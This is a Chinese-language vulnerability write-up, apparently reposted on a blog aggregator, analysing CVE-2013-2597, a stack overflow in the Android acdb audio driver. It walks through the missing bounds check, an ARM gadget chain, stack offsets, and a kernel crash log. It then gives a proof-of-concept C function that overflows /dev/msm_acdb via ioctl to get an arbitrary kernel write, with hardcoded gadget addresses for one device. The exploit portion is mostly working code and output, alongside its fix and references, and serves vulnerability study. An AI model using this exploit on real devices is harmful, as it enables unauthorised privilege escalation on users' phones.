zoukankan      html  css  js  c++  java
  • Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)

    /*

    本文章由 莫灰灰 编写,转载请注明出处。  

    作者:莫灰灰    邮箱: minzhenfei@163.com

    */

    1. 漏洞描写叙述

    音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的參数时没有做有效的边界检查。应用程序能够通过/dev/msm_acdb设备文件就能达到提升权限的目的。


    2. 漏洞分析

    原始代码例如以下
    if (size <= 0) {
    	pr_err("%s: Invalid size sent to driver: %d
    ",
    		__func__, size);
    	result = -EFAULT;
    	goto done;
    }
    
    if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {
    
    	pr_err("%s: fail to copy table size %d
    ", __func__, size);
    	result = -EFAULT;
    	goto done;
    }

    acdb驱动在处理ioctl的时候,仅仅对输入的參数大小做了size<=0的推断,而没有做>的推断,紧接着,copy_from_user(data, (void *)(arg + sizeof(size)), size)的调用造成局部变量data的栈溢出。
    
    
    
    
    3. 漏洞利用
    1.原来的流程 - do_vfs_ioctl调用acdb_ioctl后返回
    
    do_vfs_ioctl:
    STMPW [SP], { R4-R9, LR }
    ...
    BL acdb_ioctl
    ...
    ADD SP, SP, #$44 // (2)
    LDMUW [SP], { R4-R9, PC } // (1)
    

    2.acdb_ioctl当中一段,能够获得控制PC的机会。改动寄存器的位置是 (3),这里能够操作R4-PC的全部数值了
    acdb_ioctl:
    ...
    ADD SP, SP, #$84
    LDMUW [SP], { R4-R11, PC } // (3)
    通过栈溢出,改动R5,R9,PC的值。
    
    3.上面的指令,通过堆栈溢出,控制PC的值,跳转到以下代码运行
    STR R5, [R9] // (4)
    LDMUW [SP], { R4-R10, PC } // (5)
    此处很关键,主要通过STR指令,将R5的值设置到R9的地址中,即通过栈溢出达到随意地址写的目的。
    
    
    4.运行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC,即返回到(2)那里去
    ADD SP, SP, #$24 // (6)
    LDMUW [SP], { R4-R9, PC }

    5.实际栈的位置和p->data的位置须要硬编码适配。
    p->data[...]的値须要初始化的时候设置。
    硬编码的地址请在pc上通过崩溃的日志分析。
    p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个样例中,PC在&p->data[0x9c]的位置。
    例:
    ACDB=> ACDB ioctl not found!
    Unable to handle kernel paging request at virtual address 9f9e9d9c
    pgd = df56c000
    [9f9e9d9c] *pgd=00000000
    Internal error: Oops: 80000005 [#1] PREEMPT SMP
    Modules linked in:
    CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
    PC is at 0x9f9e9d9c
    LR is at acdb_ioctl+0x740/0x860

    6.设置好堆栈布局
    
    ((unsigned int)&p->data[0x80]) = value;     //r5: PC - 4*7
    ((unsigned int)&p->data[0x90]) = address;   //r9: PC - 4*3
    ((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
    ((unsigned int)&p->data[0xbc]) = (6)地址;   //pc: PC + 4*8

    4. PoC
    static int
    write_value(const acdb_param *param, unsigned long address, unsigned long value)
    {
        const char *device_name = "/dev/msm_acdb";
        struct acdb_ioctl arg;
    
        int fd;
        int ret;
        int i;
    
        fd = open(device_name, O_RDONLY);
        if (fd < 0) {
          ALOGI("failed to open %s due to %s.
    ", device_name, strerror(errno));
          return -1;
        }
    
        arg.size = param->pc2.pos + 4;
    
        for (i = 0; i < arg.size; i += 4) {
          *(unsigned long int *)&arg.data[i] = i;
        }
    
        *(unsigned long int *)&arg.data[param->address_pos] = address; // R9<span style="white-space:pre">	</span>
        *(unsigned long int *)&arg.data[param->value_pos] = value; // R5
        *(unsigned long int *)&arg.data[param->pc1.pos] = param->pc1.value; // 
        *(unsigned long int *)&arg.data[param->pc2.pos] = param->pc2.value; //
    
        ret = ioctl(fd, 9999, &arg); // 随意触发一个ioctl,造成堆栈溢出,使得随意地址写入漏洞的触发
        close(fd);
    
        return 0;
    }
    当中,param的值相应例如以下:
    { DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } } },
    
    

    5.漏洞修复
    添加了对size上限的控制
    
    
    
    
    參考文章:
    http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html
    
    https://www.codeaurora.org/projects/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
    
    https://gist.github.com/fi01/5857693
    
    
    


  • 相关阅读:
    ArrayList用法
    MessageBox
    将文本文件导入Sql数据库
    在桌面和菜单中添加快捷方式
    泡沫排序
    Making use of localized variables in javascript.
    Remove double empty lines in Visual Studio 2012
    Using Operations Manager Connectors
    Clear SharePoint Designer cache
    Programmatically set navigation settings in SharePoint 2013
  • 原文地址:https://www.cnblogs.com/zfyouxi/p/4311873.html
Copyright © 2011-2022 走看看